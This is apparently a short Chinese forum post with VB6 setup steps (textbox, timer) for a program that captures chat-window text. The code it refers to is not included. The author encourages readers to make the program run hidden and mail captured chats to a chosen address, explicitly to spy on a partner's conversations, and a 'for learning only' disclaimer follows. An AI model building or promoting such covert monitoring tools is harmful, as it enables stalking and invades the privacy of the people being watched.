使用VB6.0 新建一个EXE工程 新建一个窗体 添加一个textbox控件 将MultiLine属性改为:True 再添加一个timer控件 Enlable=True ,Interval=1000

再将以下代码完全复制到代码窗口,运行!

打一个好友,进行聊天模式进行聊天.....看到结果了吧

...那些对别人隐私感兴趣的同学可以把它完善一下...把程序的运行状态设为隐藏,将获得的特定的聊天内容,以MAIL的方式发送到指定邮箱...呵呵...怀疑你的GF/BF背着你跟另外的GG/MM聊得火热,但又不知道他们到底说些什么,,,试一下吧...呵呵...话说回来,发程序只为互相交流与学习...为此若引起两口子打架,各孽的不要来找我哈....
